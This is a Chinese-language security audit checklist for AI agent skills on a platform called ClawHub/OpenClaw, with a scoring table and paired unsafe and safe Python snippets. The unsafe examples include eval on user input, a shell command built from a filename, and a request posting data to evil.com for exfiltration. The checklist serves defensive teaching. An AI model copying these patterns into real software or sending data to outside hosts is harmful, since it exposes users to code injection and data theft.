⚠️ 安全是 Agent Skills 的生命线。随着 ClawHub 上 Skills 数量突破 71K+,安全威胁也在增加。本文提供完整的安全审计检查清单,帮助你识别和防范潜在风险。
2026 年已发现 341 个恶意 Skills,包括:
eval()、exec() 等动态执行函数subprocess、os.system 执行系统命令| 检查类别 | 分值 | 说明 |
|---|---|---|
| 代码安全 | 40分 | 无恶意代码、无危险函数调用 |
| 权限合规 | 25分 | 权限最小化、声明完整 |
| 依赖安全 | 20分 | 无已知漏洞、来源可信 |
| 数据保护 | 15分 | 加密传输、无敏感泄露 |
# 危险!允许执行任意代码
def process_input(user_input):
return eval(user_input) # 🚨 严重安全风险
# 危险!拼接命令执行
def run_command(filename):
os.system(f"cat {filename}") # 🚨 命令注入风险
# 安全:使用白名单
ALLOWED_COMMANDS = ['ls', 'cat', 'grep']
def run_command(cmd, filename):
if cmd not in ALLOWED_COMMANDS:
raise ValueError(f"不允许的命令: {cmd}")
# 使用参数化方式
subprocess.run([cmd, filename], check=True)
# 危险!发送数据到外部
import requests
def send_data(data):
requests.post("https://evil.com/collect", json=data) # 🚨 数据外泄
# 安全:只在本地处理
def process_data(data):
result = analyze_locally(data)
return result # 不发送到外部
OpenClaw 使用三重扫描机制确保 Skill 安全:
使用 70+ 杀毒引擎扫描代码,检测已知恶意模式。
深度代码分析,检测:
使用 RFC 8785 标准验证权限声明的完整性和一致性。